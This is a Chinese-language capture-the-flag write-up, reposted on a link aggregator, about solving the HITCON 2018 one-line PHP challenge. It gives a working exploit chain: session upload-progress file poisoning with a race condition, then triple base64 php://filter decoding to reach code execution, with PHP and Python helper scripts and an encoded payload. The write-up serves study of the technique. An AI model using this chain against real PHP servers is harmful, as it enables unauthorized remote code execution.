205

hitcon2018 One Line PHP Challenge

 5 years ago
source link: https://www.kingkk.com/2018/10/hitcon2018-One-Line-PHP-Challenge/?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

题目相当简单,就一句话

($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);

可以看到需要一个文件以 @<?php 开头的文件,然后就可以进行文件包含。

环境以及配置都是默认的 Ubuntu18.04+Apache2+PHP7.2

不考虑0day的情况下。这里文件名是可以完全控制的,就需要想到各种协议流以及php的伪协议。

这样,或许可以利用伪协议的方式来控制文件头。然后就是寻找我们可以控制的文件。

php里默认可以由用户控制的文件就只有几个

  • 临时上传文件
  • session文件

临时上传文件由 /tmp/php[a-zA-z0-9]{6} 形式组成,在有phpinfo页面的时候可以进行文件包含

https://www.kingkk.com/2018/07/phpinfo-with-LFI/

这里显然没有这个phpinfo页面,暴力破解的可能性约等于零。

然后就是session文件,这里没有开启session,也没有可以控制的session字段。

所以session文件也是无法控制的(对不起,是我不可以,但是orange可以

session.upload

之前N1ctf的时候出现过的一个非预期解

https://xz.aliyun.com/t/2148#toc-2

在phpinfo中有几个配置

QJvQjef.png!web

这个配置是在默认情况下开启的。

他的出现本是为了显示文件在上传时候的进度,以显示文件上传的信息。

这个信息是保存在用户的 $_SESSION 中的,而session则是以文件的形式保存在默认的路径下的。

可以看到默认的文件路径是 /var/lib/php/sessions

RzYzqqF.png!web

这里有个小trick就是,这个session文件并不一定要 session_start 才能生成,只要往服务器发送一个 Cookie: PHPSESSID=xxx 的值,然后用session upload的方式进行上传文件,就会生成这样一个session文件

由于文件上传的速度比较快,有时候经常来不及看到保存在session文件中的upload信息,就会被删除。我们可以上传一个相对比较大的文件,并且条件竞争的方式,来先看一下保存在session中的文件内容。

这里构造了一个这样的表单,upload.php

<form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" />
</form>
<?php
session_start();
$name = ini_get('session.upload_progress.name');
$key = ini_get('session.upload_progress.prefix') . $_POST[$name];
var_dump($_SESSION[$key]); 
include '/var/lib/php/sessions/sess_kingkk';

加上任意的 PHPSESSID ,上传两个相对稍大的文件,这里http报文长度有61W

RzyeMjy.png!web

然后开个多线程跑几次,就能看到有些通过条件竞争,输出了还未被删除的 session 信息

$_SERVER[ini_get('session.upload_progress.prefix') . $_POST[ini_get('session.upload_progress.name')]] 中保存了一些上传过程中的信息

aUb6vmZ.png!web

以及session文件中的内容,可以看到就是反序列化的upload信息

M7nEzmv.png!web

对应目录下也确实生成了这个session文件,但是内容却是空的,因为文件上传完成后,会默认清除其中的内容。

3EJ7bmv.png!web

可以看到 sess_kingkk 中有不少值是可以通过改变传入的参数进行控制的,比如文件名、 PHP_SESSION_UPLOAD_PROGRESS 的值。从而只要插入对应的php代码,在存在文件包含的时候,就可以getshell

这里修改了文件名为php代码,再利用一个文件包含的页面包含这个session文件

fqeeiyi.png!web

可以看到成功getshell

y6NJ3my.png!web

重新认识base64

接下来还有一个条件就是

substr(file($_)[0],0,6) === '@<?php'

但是观察之前的session信息,可以发现,文件是以 upload_progress_ 开始,最多控制其后的 123 部分

这时候能想到的就是利用php中的一些伪协议,进行文件内容的修改。这个思路p神的blog中也有写到过

https://www.leavesongs.com/PENETRATION/php-filter-magic.html#_1

就是利用 php://filter/write=convert.base64-decode/resource 的方式绕过死亡exit.

这里需要一些base64的前置知识

base64编码后的字符串集为[0-9a-zA-Z+/=]

因而在解码的时候遇到这个之外的字符,就会跳过那些字符。只对在此范围内的字符进行解码。

所以只要对前面的 upload_progress_ 进行足够多次的解密,就可以使其变成空字符

$i = 0 ;
$data = "upload_progress_";
while(true){
    $i += 1;
    $data = base64_decode($data); 
    var_dump($data);
    if($data == ''){
        echo "一共解码了:".$i,"次\n";
        break;
    }
}

EriuAbr.png!web

通过脚本可以看到,只要三次就可以将前面的内容转换为成空。

可是事情似乎没有那么简单。由于base64是对四个字符为一组进行解码。 upload_progress_ 并不满足三次解码后允许字符是4的倍数,就会把后面的字符算入填充,从而破坏原有传入的php代码

例如

function triple_base64_encode($str){
	return base64_encode(base64_encode(base64_encode($str)));
}
function triple_base64_decode($str){
	return base64_decode(base64_decode(base64_decode($str)));
}
$i = 0 ;
$data = "upload_progress_".triple_base64_encode("<?=\`id\`;>");

echo triple_base64_decode($data);

解码之后的数据是 ?

然而解密 "upload_progress_ZZ".triple_base64_encode("<?=\ id`;>”) 解码之后就是 <?=`id`;>`

就是由于 upload_progress_ZZ 在三次的解码中,第一次解码后留下了四个允许字符 hikY ,第二次解码没有允许字符,第三次就变成了空。

FBbEVbV.png!web

在这三次中,都是允许字符的数量都是4的倍数,这样就不会破坏后面传入的php代码。

队友写的一个脚本

<?php

$str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz";
while(true) {
	$i = 0 ;
	$data = "upload_progress_".substr(str_shuffle($str),10,2);
	$s = base64_decode($data);
	$s_length = strlen(preg_replace('|[^a-z0-9A-Z+/]|s', '', $s));
	$ss = base64_decode($s);
	$ss_length = strlen(preg_replace('|[^a-z0-9A-Z+/]|s', '', $ss));
	$sss = base64_decode($ss);
	if($s_length%4==0 && $ss_length%4==0 && $sss=='') {
		echo $data;
		break;
	}
}

对于后面的php代码,也有一个要求,就是三次解密中都不能出现 = ,因为base64中 = 只能放在编码的最后补位,出现在中间的话, php://filter/convert.base64-decode 流就无法正常解析,就会报错。

对此oragne师傅写了个脚本生成这玩意

import string
from base64 import b64encode
from random import sample, randint

payload = '@<?php echo `id`;?>'

while 1:
    junk = ''.join(sample(string.ascii_letters, randint(8, 16)))
    x = b64encode(payload + junk)
    xx = b64encode(b64encode(payload + junk))
    xxx = b64encode(b64encode(b64encode(payload + junk)))
    if '=' not in x and '=' not in xx and '=' not in xxx:
        print xxx
        break
VVVSM0wyTkhhSGRKUjFacVlVYzRaMWxIYkd0WlJITXZVRzVvZFdFeFZuUlZSVTVw

Y3eE7vn.png!web

成功getshell

yQNRNzq.png!web

最后

学到的东西相当多了。膜orange

顺带说一句,貌似php中的 base64_decode 类似于网上的一些在线脚本之类的解密,会对数据进行一些优化,直观的感受就是,用解密一些省略了 = 的字符也可以顺利解密,然而用hackbar之类的工具就会直接返回空。

php伪协议中的 php://filter/convert.base64-decode 类似于hackbar这种,对数据校验较为严格,所以有时候用php的 base_64decode 之后发现是可见字符,可实际包含的时候却会报错。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK